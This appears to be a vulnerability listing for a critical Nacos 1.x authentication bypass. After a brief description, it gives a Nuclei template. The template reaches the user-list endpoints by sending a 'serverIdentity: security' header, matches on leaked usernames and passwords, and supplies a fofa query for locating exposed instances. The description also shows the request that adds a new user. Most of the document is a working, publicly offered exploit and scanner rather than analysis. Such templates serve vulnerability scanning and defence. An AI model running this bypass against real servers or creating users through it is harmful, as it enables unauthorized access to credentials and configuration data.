Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data.
PoC代码[已公开]
id: nacos-auth-bypass
info:
name: Nacos 1.x - Authentication Bypass
author: taielab,pikpikcu,SleepingBag945
severity: critical
description: |
Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data.
reference:
- https://github.com/alibaba/nacos/issues/4593
- https://nacos.io/en-us/docs/auth.html
- https://zhuanlan.zhihu.com/p/602021283
classification:
cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: alibaba
product: nacos
fofa-query: app="NACOS"
tags: nacos,auth-bypass,vuln
http:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
headers:
serverIdentity: security
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"totalCount":'
- '"username":'
- '"password":'
- '"pagesAvailable":'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 4b0a00483046022100f5347a9a9c1c0e755fea8bbe7f36c5cfadde3b78314e3cf9c9c16dc631157545022100bdde6548528729a5ab46b97f2eeab50c57ed98710cc57b8478624a8fc5702b0f:922c64590222798bb761d5b6d8e72950